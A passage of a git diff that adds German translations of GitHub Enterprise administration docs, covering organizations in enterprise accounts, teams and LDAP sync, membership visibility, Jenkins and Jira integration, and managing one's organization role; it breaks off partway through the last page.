+Dein Unternehmenskonto kann Besitzer von Organisationen sein. Mitglieder deines Unternehmens können in verknüpften Projekten innerhalb einer Organisation zusammenarbeiten. Weitere Informationen findest du unter [Informationen zu Organisationen](/organizations/collaborating-with-groups-in-organizations/about-organizations).
+
+Du kannst deinem Unternehmenskonto neue Organisationen hinzufügen. Wenn du {% data variables.product.prodname_emus %} nicht verwendest, kannst du deinem Unternehmen vorhandene Organisationen auf {% data variables.location.product_location %} hinzufügen. Du kannst eine vorhandene Organisation aus einem {% data variables.enterprise.prodname_emu_enterprise %} nicht einem anderen Unternehmen hinzufügen.
+
+{% data reusables.enterprise.create-an-enterprise-account %} Weitere Informationen findest du unter „[Erstellen eines Unternehmenskontos](/admin/overview/creating-an-enterprise-account)“.
+
+Nachdem du deinem Unternehmen eine vorhandene Organisation hinzugefügt hast, bleiben die Ressourcen der Organisation für Mitglieder unter denselben URLs zugänglich, und die folgenden Änderungen gelten.
+
+- Die Mitglieder der Organisation werden Mitglieder des Unternehmens, und die Nutzung der Organisation wird dem Unternehmenskonto von {% data variables.product.company_short %} in Rechnung gestellt. Du musst sicherstellen, dass das Unternehmenskonto genügend Lizenzen für alle neuen Mitglieder hat. Weitere Informationen findest du unter [Informationen zur Abrechnung für ein Unternehmen](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise).
+- Unternehmensbesitzer*innen können ihre Rolle innerhalb der Organisation verwalten. Weitere Informationen findest du unter [Verwalten deiner Rolle in einer Organisation im Besitz deines Unternehmens](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise).
+- Alle Richtlinien, die für das Unternehmen gelten, gelten auch für die Organisation. Weitere Informationen findest du unter [Informationen zu Unternehmensrichtlinien](/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies).
+- Wenn SAML SSO für das Unternehmenskonto konfiguriert ist, gilt die SAML-Konfiguration des Unternehmens für die Organisation. Wenn die Organisation SAML SSO verwendet hat, ersetzt die Konfiguration des Unternehmenskontos die Konfiguration der Organisation. SCIM ist für Unternehmenskonten nicht verfügbar. SCIM wird also für die Organisation deaktiviert. Weitere Informationen findest du unter [Konfigurieren von SAML Single Sign-On für dein Unternehmen](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise) und [Wechseln deiner SAML-Konfiguration von einer Organisation zu einem Unternehmenskonto](/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account).
+- Wenn SAML SSO für die Organisation konfiguriert wurde, werden die vorhandenen {% data variables.product.pat_generic %} oder SSH-Schlüssel, die für den Zugriff auf die Ressourcen der Organisation autorisiert wurden, dazu autorisiert, auf dieselben Ressourcen zuzugreifen. Um auf zusätzliche Organisationen zuzugreifen, die sich im Besitz des Unternehmens befinden, müssen Mitglieder {% data variables.product.pat_generic %} oder den Schlüssel autorisieren. Weitere Informationen findest du unter [Autorisieren eines {% data variables.product.pat_generic %} für die Verwendung mit SAML Single Sign-On](/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on) und [Autorisieren eines SSH-Schlüssels für die Verwendung mit SAML Single Sign-On](/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on).
+- Wenn die Verbindung der Organisation mit {% data variables.product.prodname_ghe_server %} oder {% data variables.product.prodname_ghe_managed %} über {% data variables.product.prodname_github_connect %} hergestellt wurde, wird die Verbindung durch das Hinzufügen der Organisation zu einem Unternehmen nicht aktualisiert. {% data variables.product.prodname_github_connect %}-Features funktionieren für die Organisation nicht mehr. Um die Verwendung von {% data variables.product.prodname_github_connect %} fortzusetzen, musst du das Feature deaktivieren und erneut aktivieren. Weitere Informationen findest du in den folgenden Artikeln.
+
+  - „[Verwalten von {% data variables.product.prodname_github_connect %}](/enterprise-server@latest/admin/configuration/configuring-github-connect/managing-github-connect)“ in der Dokumentation zu {% data variables.product.prodname_ghe_server %}
+  - „[Verwalten von {% data variables.product.prodname_github_connect %}](/github-ae@latest/admin/configuration/configuring-github-connect/managing-github-connect)“ in der Dokumentation zu {% data variables.product.prodname_ghe_managed %}
+- Wenn die Organisation {% data variables.product.prodname_marketplace %}-Apps verwendet hat, kann die Organisation die Apps weiterhin verwenden, muss aber den Anbieter direkt bezahlen. Weitere Informationen erhältst du beim App-Anbieter.
+- Alle Coupons werden aus der Organisation entfernt. Wenden Sie sich [an unser Vertriebsteam](https://github.com/enterprise/contact), um den Coupon erneut anzuwenden.
+
+## Eine Organisation in deinem Enterprise-Konto erstellen
+
+Die von dir in den Einstellungen des Unternehmenskontos erstellten Organisationen sind im {% data variables.product.prodname_ghe_cloud %}-Abonnement deines Unternehmenskontos enthalten.
+
+Enterprise-Inhaber, die eine dem Enterprise-Konto gehörende Organisation erstellen, werden automatisch zu Organisationsinhabern. Weitere Informationen zu Organisationsinhaber*innen findest du unter [Rollen in einer Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization).
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+2. Klicke auf der Registerkarte **Organisationen** über der Liste der Organisationen auf **Neue Organisation**.
+  ![Schaltfläche „Neue Organisation“](/assets/images/help/business-accounts/enterprise-account-add-org.png)
+3. Gib unter „Organization name“ (Organisationsname) einen Namen für deine Organisation ein.
+  ![Feld zur Eingabe eines neuen Organisationsnamens](/assets/images/help/business-accounts/new-organization-name-field.png)
+4. Klicke auf **Organisation erstellen**.
+5. Gib unter „Besitzer einladen“ den Benutzernamen einer Person ein, die du einladen möchtest, ein Organisationsbesitzer zu werden. Klicke dann auf **Einladen**.
+  ![Suchfeld für Organisationsbesitzer und Schaltfläche „Einladen“](/assets/images/help/business-accounts/invite-org-owner.png)
+6. Klicke auf **Fertig stellen**.
+
+## Einladen einer Organisation zum Beitritt zu deinem Unternehmenskonto
+
+Unternehmensbesitzer können bestehende Organisationen einladen, ihrem Unternehmenskonto beizutreten. Wenn sich die Organisation, die du einladen möchtest, bereits im Besitz eines anderen Unternehmenskontos befindet, musst du Besitzer*in beider Unternehmenskonten sein, oder das vorherige Unternehmen muss zuerst den Besitz der Organisation aufgeben. Weitere Informationen findest du unter [Entfernen einer Organisation aus deinem Unternehmen](/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise). 
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+1. Klicke auf der Registerkarte **Organisationen** über der Liste der Organisationen auf **Organisation einladen**.
+![Organisation einladen](/assets/images/help/business-accounts/enterprise-account-invite-organization.png)
+3. Gib unter „Organisationsname“ den Namen der Organisation ein, die du einladen möchtest, und wähle sie aus, wenn sie in der Dropdownliste angezeigt wird.
+![Nach Organisation suchen](/assets/images/help/business-accounts/enterprise-account-search-for-organization.png)
+4. Klicke auf **Organisation einladen**.
+5. Die Organisationsbesitzer erhalten eine E-Mail, in der sie zum Beitritt zum Unternehmen eingeladen werden. Mindestens ein Besitzer muss die Einladung annehmen, damit der Vorgang fortgesetzt werden kann. Du kannst die Einladung jederzeit zurückziehen oder erneut senden, bevor ein*e Besitzer*in sie annimmt.
+![Zurückziehen oder erneut senden](/assets/images/help/business-accounts/enterprise-account-invitation-sent.png)
+6. Nachdem ein*e Organisationsinhaber*in die Einladung angenommen hat, siehst du dessen oder deren Status in der Liste der ausstehenden Einladungen.
+![Ausstehende Einladung](/assets/images/help/business-accounts/enterprise-account-pending.png)
+7. Klicke auf **Genehmigen**, um die Übertragung abzuschließen.
+![Einladung genehmigen](/assets/images/help/business-accounts/enterprise-account-transfer-approve.png)
+
+## Übertragen einer Organisation zwischen Unternehmenskonten
+
+Unternehmensbesitzer*innen können vorhandene Organisationen zwischen Unternehmenskonten übertragen. Du musst Unternehmensbesitzer*in beider Unternehmenskonten sein. 
+
+{% note %}
+
+**Hinweis:** Du kannst eine vorhandene Organisation nicht zu oder von einem {% data variables.enterprise.prodname_emu_enterprise %} übertragen.  
+
+{% endnote %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+1. Wähle neben der Organisation, die du übertragen möchtest, die Dropdownliste {% octicon "gear" width="16" aria-label="Gear" %} aus, und klicke dann auf **Organisation übertragen**. 
+![Screenshot der Schaltfläche „Übertragen“](/assets/images/help/business-accounts/org-transfer-button.png)
+1. Wähle das Dropdownmenü **Unternehmen auswählen** aus, beginne mit der Eingabe des Namens des Zielunternehmens, und wähle dann das Unternehmen aus, wenn es in der Dropdownliste angezeigt wird.
+![Screenshot des Dropdownmenüs mit den Unternehmen](/assets/images/help/business-accounts/org-transfer-select-enterprise.png)
+2. Klicke auf **Übertragung überprüfen**.
+3. Klicke auf **Organisation übertragen**, um die Übertragung zu bestätigen.
+![Screenshot der Schaltfläche „Organisation übertragen“](/assets/images/help/business-accounts/org-transfer-confirm-button.png)
diff --git a/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md
new file mode 100644
index 0000000000..d4be251522
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md
@@ -0,0 +1,41 @@
+---
+title: Adding people to teams
+redirect_from:
+  - /enterprise/admin/articles/adding-teams
+  - /enterprise/admin/articles/adding-or-inviting-people-to-teams
+  - /enterprise/admin/guides/user-management/adding-or-inviting-people-to-teams
+  - /enterprise/admin/user-management/adding-people-to-teams
+  - /admin/user-management/adding-people-to-teams
+intro: 'Once a team has been created, organization admins can add users from {% data variables.location.product_location %} to the team and determine which repositories they have access to.'
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Access management
+  - Enterprise
+  - Teams
+  - User account
+---
+Each team has its own individually defined [access permissions for repositories owned by your organization](/articles/permission-levels-for-an-organization).
+
+- Members with the owner role can add or remove existing organization members from all teams.
+- Members of teams that give admin permissions can only modify team membership and repositories for that team.
+
+## Setting up a team
+
+{% data reusables.profile.access_org %}
+{% data reusables.user-settings.access_org %}
+{% data reusables.organizations.specific_team %}
+{% data reusables.organizations.invite_to_team %}
+{% data reusables.organizations.review-team-repository-access %}
+
+{% ifversion ghes %}
+
+## Mapping teams to LDAP groups (for instances using LDAP Sync for user authentication)
+
+{% data reusables.enterprise_management_console.badge_indicator %}
+
+To add a new member to a team synced to an LDAP group, add the user as a member of the LDAP group, or contact your LDAP administrator.
+
+{% endif %}
diff --git a/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/configuring-visibility-for-organization-membership.md b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/configuring-visibility-for-organization-membership.md
new file mode 100644
index 0000000000..ffbadd5fbf
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/configuring-visibility-for-organization-membership.md
@@ -0,0 +1,31 @@
+---
+title: Sichtbarkeit für die Organisationsmitgliedschaft konfigurieren
+intro: 'Du kannst die Sichtbarkeit für neue Organisationsmitglieder in deinem Unternehmen auf öffentlich oder privat festlegen. Darüber hinaus kannst du Mitglieder daran hindern, die für sie standardmäßig festgelegte Sichtbarkeit zu ändern.'
+redirect_from:
+  - /enterprise/admin/user-management/configuring-visibility-for-organization-membership
+  - /admin/user-management/configuring-visibility-for-organization-membership
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Organizations
+  - User account
+shortTitle: Set membership visibility
+ms.openlocfilehash: e628fab4f8aa77579e0ce89f18a70813274928b6
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '146332344'
+---
+{% ifversion ghes %} Mithilfe eines Befehlszeilenprogramms kannst du deine Standardeinstellung zudem für alle aktuellen Organisationsmitglieder auf deiner Instanz erzwingen. Wenn du beispielsweise möchtest, dass die Sichtbarkeit jedes Organisationsmitglieds öffentlich sein soll, kannst du in den Administratoreinstellungen die Standardeinstellung auf öffentlich festlegen, die Standardeinstellung für alle neuen Mitglieder erzwingen und anschließend das Befehlszeilenprogramm verwenden, um die Einstellung für die öffentliche Sichtbarkeit für Bestandsmitglieder zu erzwingen.
+{% endif %}
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% ifversion ghes or ghae %} {% data reusables.enterprise-accounts.policies-tab %} {% else %} {% data reusables.enterprise-accounts.settings-tab %} {% endif %} {% data reusables.enterprise-accounts.options-tab %}
+3. Verwende unter „Standardmäßige Sichtbarkeit der Organisationsmitgliedschaft“ das Dropdownmenü, und klicke auf **Privat** oder **Öffentlich**.
+  ![Dropdownmenü mit der Option, um die standardmäßige Sichtbarkeit der Organisationsmitgliedschaft als öffentlich oder privat zu konfigurieren](/assets/images/enterprise/site-admin-settings/default-organization-membership-visibility-drop-down-menu.png)
+4. Optional kannst du **Für Organisationsmitglieder erzwingen** aktivieren, um Mitglieder daran zu hindern, die für sie standardmäßig festgelegte Sichtbarkeit zu ändern.
+  ![Kontrollkästchen, um die Standardeinstellung für alle Mitglieder zu erzwingen](/assets/images/enterprise/site-admin-settings/enforce-default-org-membership-visibility-setting.png){% ifversion ghes %}
+5. Wenn du deine neue Sichtbarkeitseinstellung für alle vorhandenen Mitglieder erzwingen möchtest, verwende das `ghe-org-membership-update`-Befehlszeilenprogramm. Weitere Informationen findest du unter [Befehlszeilenprogramme](/enterprise/admin/guides/installation/command-line-utilities#ghe-org-membership-update).{% endif %}
diff --git a/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/continuous-integration-using-jenkins.md b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/continuous-integration-using-jenkins.md
new file mode 100644
index 0000000000..859fe38bc4
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/continuous-integration-using-jenkins.md
@@ -0,0 +1,19 @@
+---
+title: Continuous integration using Jenkins
+intro: 'You can automatically trigger build jobs on a Jenkins server when pushes are made to a repository in {% data variables.location.product_location %}.'
+redirect_from:
+  - /enterprise/admin/developer-workflow/continuous-integration-using-jenkins
+  - /enterprise/admin/user-management/continuous-integration-using-jenkins
+  - /admin/user-management/continuous-integration-using-jenkins
+versions:
+  ghes: '*'
+  ghae: '*'
+type: reference
+topics:
+  - CI
+  - Enterprise
+shortTitle: CI using Jenkins
+---
+## Requirements
+
+- Follow our white paper "[Practical guide to CI with Jenkins and GitHub](https://resources.github.com/whitepapers/practical-guide-to-CI-with-Jenkins-and-GitHub/)" to get step by step instructions on how you can automatically trigger build jobs on a Jenkins server when pushes are made to a repository in {% data variables.location.product_location %}.
diff --git a/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md
new file mode 100644
index 0000000000..d87b91370c
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md
@@ -0,0 +1,67 @@
+---
+title: Creating teams
+intro: 'Teams give organizations the ability to create groups of members and control access to repositories. Team members can be granted read, write, or admin permissions to specific repositories.'
+redirect_from:
+  - /enterprise/admin/user-management/creating-teams
+  - /admin/user-management/creating-teams
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Access management
+  - Enterprise
+  - Teams
+  - User account
+---
+Teams are central to many of {% data variables.product.prodname_dotcom %}'s collaborative features, such as team @mentions to notify appropriate parties that you'd like to request their input or attention. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
+
+A team can represent a group within your company or include people with certain interests or expertise. For example, a team of accessibility experts on {% data variables.location.product_location %} could comprise of people from several different departments. Teams can represent functional concerns that complement a company's existing divisional hierarchy.
+
+Organizations can create multiple levels of nested teams to reflect a company or group's hierarchy structure. For more information, see "[About teams](/enterprise/user/articles/about-teams/#nested-teams)."
+
+## Creating a team
+
+A prudent combination of teams is a powerful way to control repository access. For example, if your organization allows only your release engineering team to push code to the default branch of any repository, you could give only the release engineering team **admin** permissions to your organization's repositories and give all other teams **read** permissions.
+
+{% data reusables.profile.access_org %}
+{% data reusables.user-settings.access_org %}
+{% data reusables.organizations.new_team %}
+{% data reusables.organizations.team_name %}
+{% data reusables.organizations.team_description %}
+{% data reusables.organizations.team_visibility %}
+{% data reusables.organizations.create-team-choose-parent %}
+{% data reusables.organizations.create_team %}
+
+{% ifversion ghes %}
+
+## Creating teams with LDAP Sync enabled
+
+Instances using LDAP for user authentication can use LDAP Sync to manage a team's members. Setting the group's **Distinguished Name** (DN) in the **LDAP group** field will map a team to an LDAP group on your LDAP server. If you use LDAP Sync to manage a team's members, you won't be able to manage your team within {% data variables.location.product_location %}. The mapped team will sync its members in the background and periodically at the interval configured when LDAP Sync is enabled. For more information, see "[Enabling LDAP Sync](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync)."
+
+You must be a site admin and an organization owner to create a team with LDAP sync enabled.
+
+{% data reusables.enterprise_user_management.ldap-sync-nested-teams %}
+
+{% warning %}
+
+**Notes:**
+- LDAP Sync only manages the team's member list. You must manage the team's repositories and permissions from within {% data variables.product.prodname_ghe_server %}.
+- If an LDAP group mapping to a DN is removed, such as if the LDAP group is deleted, then every member is removed from the synced {% data variables.product.prodname_ghe_server %} team. To fix this, map the team to a new DN, add the team members back, and [manually sync the mapping](/enterprise/admin/authentication/using-ldap#manually-syncing-ldap-accounts).
+- When LDAP Sync is enabled, if a person is removed from a repository, they will lose access but their forks will not be deleted. If the person is added to a team with access to the original organization repository within three months, their access to the forks will be automatically restored on the next sync.
+
+{% endwarning %}
+
+1. Ensure that [LDAP Sync is enabled](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync).
+{% data reusables.profile.access_org %}
+{% data reusables.user-settings.access_org %}
+{% data reusables.organizations.new_team %}
+{% data reusables.organizations.team_name %}
+6. Search for an LDAP group's DN to map the team to. If you don't know the DN, type the LDAP group's name. {% data variables.product.prodname_ghe_server %} will search for and autocomplete any matches.
+![Mapping to the LDAP group DN](/assets/images/enterprise/orgs-and-teams/ldap-group-mapping.png)
+{% data reusables.organizations.team_description %}
+{% data reusables.organizations.team_visibility %}
+{% data reusables.organizations.create-team-choose-parent %}
+{% data reusables.organizations.create_team %}
+
+{% endif %}
diff --git a/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/index.md b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/index.md
new file mode 100644
index 0000000000..12adf7ec9d
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/index.md
@@ -0,0 +1,43 @@
+---
+title: Organisationen in deinem Unternehmen verwalten
+redirect_from:
+  - /enterprise/admin/articles/adding-users-and-teams
+  - /enterprise/admin/categories/admin-bootcamp
+  - /enterprise/admin/user-management/organizations-and-teams
+  - /enterprise/admin/user-management/managing-organizations-in-your-enterprise
+  - /articles/managing-organizations-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise-account/managing-organizations-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account
+  - /admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise
+  - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/managing-unowned-organizations-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise-account/managing-unowned-organizations-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/managing-unowned-organizations-in-your-enterprise-account
+intro: "Du kannst Organisationen verwenden, um Benutzer*innen in deinem Unternehmen zu gruppieren, z.\_B. in Abteilungen oder Gruppen, die an ähnlichen Projekten arbeiten. Zudem kannst du damit den Zugriff auf Repositorys verwalten."
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+children:
+  - /adding-organizations-to-your-enterprise
+  - /configuring-visibility-for-organization-membership
+  - /preventing-users-from-creating-organizations
+  - /requiring-two-factor-authentication-for-an-organization
+  - /creating-teams
+  - /adding-people-to-teams
+  - /managing-your-role-in-an-organization-owned-by-your-enterprise
+  - /removing-users-from-teams-and-organizations
+  - /removing-organizations-from-your-enterprise
+  - /restoring-a-deleted-organization
+  - /managing-projects-using-jira
+  - /continuous-integration-using-jenkins
+shortTitle: Manage organizations
+ms.openlocfilehash: e2fade6385a690d1ca91b587f2d7ca3e081bd23b
+ms.sourcegitcommit: e98b752895109965b32cb277610985da5799f8a1
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/01/2022
+ms.locfileid: '148127611'
+---
+
diff --git a/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md
new file mode 100644
index 0000000000..af6284d1b2
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md
@@ -0,0 +1,76 @@
+---
+title: Verwalten von Projekten mithilfe von Jira
+intro: 'Du kannst Jira mit {% data variables.product.product_name %} zur Projektverwaltung integrieren.'
+redirect_from:
+  - /enterprise/admin/guides/installation/project-management-using-jira
+  - /enterprise/admin/articles/project-management-using-jira
+  - /enterprise/admin/developer-workflow/managing-projects-using-jira
+  - /enterprise/admin/developer-workflow/customizing-your-instance-with-integrations
+  - /enterprise/admin/user-management/managing-projects-using-jira
+  - /admin/user-management/managing-projects-using-jira
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Project management
+shortTitle: Project management with Jira
+ms.openlocfilehash: da1a02894bf8c916089de94a8642396ba7ceabe4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145104167'
+---
+## Verbinden von Jira mit einer {% data variables.product.prodname_enterprise %}-Organisation
+
+1. Melde dich bei deinem {% data variables.product.prodname_enterprise %}-Konto unter „http[s]://[hostname]/login“ an. Wenn du bereits angemeldet bist, klicke oben links auf das {% data variables.product.prodname_dotcom %}-Logo.
+2. Klicke unter dem {% data variables.product.prodname_dotcom %}-Logo auf dein Profilsymbol, und wähle die Organisation aus, die du mit Jira verbinden möchtest.
+
+  ![Auswählen einer Organisation](/assets/images/enterprise/orgs-and-teams/profile-select-organization.png)
+
+3. Klicke auf den Link **Einstellungen für _Organisationsname_ bearbeiten**.
+
+  ![Bearbeiten von Organisationseinstellungen](/assets/images/enterprise/orgs-and-teams/edit-organization-settings.png)
+
+4. Klicke in der linken Seitenleiste unter **Entwicklereinstellungen** auf **OAuth-Apps**.
+
+  ![Auswählen von OAuth-Apps](/assets/images/enterprise/orgs-and-teams/organization-dev-settings-oauth-apps.png)
+
+5. Klicke auf die Schaltfläche **Neue Anwendung registrieren**.
+
+  ![Schaltfläche „Neue Anwendung registrieren“](/assets/images/enterprise/orgs-and-teams/register-oauth-application-button.png)
+
+6. Trage die Anwendungseinstellungen ein:
+    - Gib im Feld **Anwendungsname** „Jira“ oder einen beliebigen Namen ein, mit dem du die Jira-Instanz identifizieren möchtest.
+    - Gib im Feld **Homepage-URL** die vollständige URL deiner Jira-Instanz ein.
+    - Gib im Feld **Autorisierungsrückruf-URL** die vollständige URL deiner Jira-Instanz ein.
+7. Klicke auf **Anwendung registrieren**.
+8. Notiere dir die **Client-ID** und den **geheimen Clientschlüssel**, die oben auf der Seite zu finden sind. Du benötigst diese Angaben zum Konfigurieren deiner Jira-Instanz.
+
+## Konfiguration der Jira-Instanz
+
+1. Melde dich in deiner Jira-Instanz bei einem Konto mit Administratorzugriff an.
+2. Klicke oben auf der Seite auf das Symbol für „Einstellungen“ (Zahnrad), und wähle **Anwendungen** aus.
+
+  ![Auswählen von „Anwendungen“ in Jira-Einstellungen](/assets/images/enterprise/orgs-and-teams/jira/jira-applications.png)
+
+3. Klicke in der linken Seitenleiste unter **Integrationen** auf **DVCS-Konten**.
+
+  ![Jira-Menü „Integrationen“ – DVCS-Konten](/assets/images/enterprise/orgs-and-teams/jira/jira-integrations-dvcs.png)
+
+4. Klicke auf **Bitbucket Cloud- oder {% data variables.product.prodname_dotcom %}-Konto verknüpfen**.
+
+  ![Verknüpfen des GitHub-Kontos mit Jira](/assets/images/enterprise/orgs-and-teams/jira/jira-link-github-account.png)
+
+5. Gib im modalen Feld **Neues Konto hinzufügen** deine {% data variables.product.prodname_enterprise %}-Einstellungen ein:
+    - Wähle in der Dropdownliste **Host** die Option **{% data variables.product.prodname_enterprise %}** aus.
+    - Gib im Feld **Team- oder Benutzerkonto** den Namen deiner {% data variables.product.prodname_enterprise %}-Organisation oder deines Benutzerkontos ein.
+    - Gib im Feld **OAuth-Schlüssel** die Client-ID deiner {% data variables.product.prodname_enterprise %}-Entwickleranwendung ein.
+    - Gib im Feld **OAuth-Geheimnis** den geheimen Clientschlüssel für deine {% data variables.product.prodname_enterprise %}-Entwickleranwendung ein.
+    - Wenn du die deiner {% data variables.product.prodname_enterprise %}-Organisation oder deinem Benutzerkonto gehörenden neuen Repositorys nicht verknüpfen möchtest, hebe die Auswahl von **Neue Repositorys automatisch verknüpfen** auf.
+    - Wenn du Smart Commits nicht aktivieren möchtest, hebe die Auswahl von **Smart Commits aktivieren** auf.
+    - Klicken Sie auf **Hinzufügen**.
+6. Überprüfe die Berechtigungen, die du deinem {% data variables.product.prodname_enterprise %}-Konto erteilst, und klicke auf **Anwendung autorisieren**.
+7. Gib zum Fortfahren bei Bedarf dein Kennwort ein.
diff --git a/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise.md b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise.md
new file mode 100644
index 0000000000..ae8a8da8b8
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise.md
@@ -0,0 +1,63 @@
+---
+title: 'Verwalten deiner Rolle in einer Organisation, die deinem Unternehmen gehört'
+intro: 'Du kannst deine Mitgliedschaft in jeder Organisation verwalten, die deinem Unternehmen gehört, und deine Rolle innerhalb der Organisation ändern.'
+permissions: Enterprise owners can manage their role in an organization owned by the enterprise.
+versions:
+  feature: enterprise-owner-join-org
+type: how_to
+topics:
+  - Administrator
+  - Enterprise
+  - Organizations
+shortTitle: Manage your organization roles
+ms.openlocfilehash: e7a95602fe103dcbccb80bc2dfec6a67f8b4b312
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147884237'
+---
+## Informationen zur Rollenverwaltung
+
+Du kannst wählen, dass du einer Organisation im Besitz deines Unternehmens als Mitglied oder als Organisationsbesitzer beitrittst, deine Rolle innerhalb der Organisation änderst oder die Organisation verlassen möchtest.
+
+{% ifversion ghec %} {% warning %}
+
+**Warnung**: Wenn eine Organisation SCIM zum Bereitstellen von Benutzern verwendet, könnte ein Beitritt zur Organisation auf diese Weise unbeabsichtigte Folgen haben. Weitere Informationen findest du unter [Informationen über SCIM für Organisationen](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations).
+
+{% endwarning %} {% endif %}
+
+Informationen zum Verwalten der Rollen anderer Personen in einer Organisation findest du unter [Verwalten der Mitgliedschaft in deiner Organisation](/organizations/managing-membership-in-your-organization) und [Verwalten des Zugriffs von Personen auf deine Organisation mit Rollen](/organizations/managing-peoples-access-to-your-organization-with-roles).
+
+## Verwalten deiner Rolle über die Unternehmenseinstellungen
+
+Du kannst einer Organisation, die deinem Unternehmen gehört, beitreten und deine Rolle in der Organisation direkt über die Einstellungen deines Unternehmenskontos verwalten.
+
+{% ifversion ghec %}
+
+Wenn eine Organisation Einmaliges Anmelden (Single Sign-On, SSO) mit SAML (SAML SSO) erzwingt, kannst du ihr nicht mithilfe der Unternehmenseinstellungen beitreten. Stattdessen musst du der Organisation mithilfe von deren Identitätsanbieter (Identity Provider, IdP) beitreten. Dann kannst du deine Rolle in deinen Unternehmenseinstellungen verwalten. Weitere Informationen findest du unter [Beitreten zu einer Organisation, die SAML SSO erzwingt](#joining-an-organization-that-enforces-saml-sso).
+
+{% endif %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+1. Wähle auf der Registerkarte **Organisationen** rechts neben der Organisation, in der du deine Rolle verwalten möchtest, das Dropdownmenü {% octicon "gear" aria-label="The gear icon" %} aus, und klicke auf die Aktion, die du ausführen möchtest.
+
+   ![Screenshot des Dropdownmenüs für das Zahnradsymbol für eine Organisation](/assets/images/help/business-accounts/change-role-in-org.png)
+
+{% ifversion ghec %}
+
+## Beitreten zu einer Organisation, die SAML SSO erzwingt
+
+Wenn eine Organisation die SAML-SSO erzwingt, kannst du ihr nicht über die Unternehmenseinstellungen beitreten. Stattdessen musst du der Organisation mithilfe von deren Identitätsanbieter (Identity Provider, IdP) beitreten.
+
+1. Du musst ihrem IdP den Zugriff auf die Anwendung für {% data variables.product.prodname_ghe_cloud %} zugewiesen haben, die von der Organisation verwendet wird. Wenn du deinen IdP nicht selbst konfigurieren kannst, wende dich an deinen IdP-Administrator.
+1. Authentifiziere dich bei der Organisation mithilfe der SAML-SSO.
+
+   - Wenn die Organisation SCIM verwendet, akzeptiere deren Einladung, die durch die SCIM-Integration generiert wird.
